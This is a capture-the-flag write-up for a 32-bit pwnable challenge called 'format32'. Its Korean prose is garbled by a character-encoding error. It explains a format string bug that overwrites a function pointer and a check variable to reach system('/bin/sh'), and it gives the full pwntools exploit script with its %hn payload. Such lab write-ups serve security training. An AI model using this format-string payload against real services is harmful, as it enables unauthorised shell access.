[2023 JBU CTF] format32 write-up
๋ถ์ผ : Pwnable
๐ง ๋ฌธ์
๋ฌธ์ ๋ช : format32
32bit ํ๊ฒฝ์์ format string bug๋ก ํฌ์ธํฐ๋ฅผ overwriteํ์ฌ get_shellํจ์๋ฅผ ํธ์ถํ๋ ๋ฌธ์ ์ด๋ค.

์ ๊ตฌ์ฑ์ด ๋ฌธ์ ํ์ผ๋ก ์ ๊ณต๋๋ค. ๋ก์ปฌ์์ ๋์ปค ์ปจํ ์ด๋๋ฅผ ์ฌ๋ ค ์ต์คํ๋ก์์ ์งํํ๊ณ , ๋์ผํ ํ์ด๋ก๋๋ฅผ ์๋ฒ์ ์ ์กํ๋ฉด ์ ธ์ ํ๋ํ ์ ์๋ค.
๐ง ๋ถ์

๋ณดํธ ๊ธฐ๋ฒ์ ์์ ๊ฐ๋ค. ๋ฌธ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถ์ํด๋ณด์.

mainํจ์์ด๋ค. buf์ ๊ฐ์ 256byte ์
๋ ฅ๋ฐ๊ณ , ์ด๋ฅผ ์ถ๋ ฅํ ๋ format string bug๊ฐ ๋ฐ์ํ๋ค.
funcPtrํฌ์ธํฐ์ winํจ์ ์ฃผ์๋ฅผ ์ ์ฅํ๊ณ , check์ ์ญ๋ณ์์ ๊ฐ์ด 0xdeadbeef์ด๋ฉด funcPtr์ ๋ค์ด๊ฐ ํจ์๋ฅผ ํธ์ถํ๋ค.
format string bug๋ก ํน์ ๋ฉ๋ชจ๋ฆฌ ๊ฐ๋ค์ overwrite ํ ์ ์๊ธฐ ๋๋ฌธ์, check์ ์ญ๋ณ์์ ์ ์ ํ ๊ฐ์ write ํ๋ฉด ๋๋ค.

winํจ์๋ ๊ทธ์ ์ถ๋ ฅํด์ฃผ๋ ํจ์์ด๊ธฐ ๋๋ฌธ์, funcPtr์ ์ญ๋ณ์๋ winํจ์ ์ฃผ์์์ get_shell์ฃผ์๋ก overwrite ํด์ค์ผ ํ๋ค.

get_shellํจ์๋ system('/bin/sh');์ผ๋ก ์
ธ์ ํ๋ํ๋ค.

์
๋ ฅํ AAAA๊ฐ 11๋ฒ์งธ์์ leak๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ํ์ด๋ก๋๋ฅผ ์
๋ ฅ ์ writeํ ์ฃผ์๋ฅผ ๋ฃ์ด๋๊ณ ์ด๋ฅผ %11$hn๊ณผ ๊ฐ์ด ์ง์ ํ์ฌ ํด๋น ์์ ๋ฌธ์์ด ๊ฐ์๋งํผ ๊ฐ์ overwriteํ๋ค.
๐ง ์ต์คํ๋ก์
from pwn import *
#context.log_level = 'debug'
#p = process('./format32')
e = ELF('./format32')
p = remote('192.168.83.137', 13574)
libc = e.libc
exit_got = e.got['exit']
check = e.symbols['check']
func = e.symbols['funcPtr']
shell = e.symbols['get_shell']
#get_shell = 0x08049296
#check = 0xdeadbeef
payload = b''
payload += p32(func)
payload += p32(func+2)
payload += p32(check)
payload += p32(check+2)
payload += b'%37510c%11$hn' #0x9296
payload += b'%30062c%12$hn' #0x10804
payload += b'%46827c%13$hn' #0x1beef
payload += b'%8126c%14$hn' #0x1dead
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
ํด๋น exploit ์ฝ๋๋ฅผ ์คํํ๋ฉด ์ ธ์ ์ป์ ์ ์๋ค.
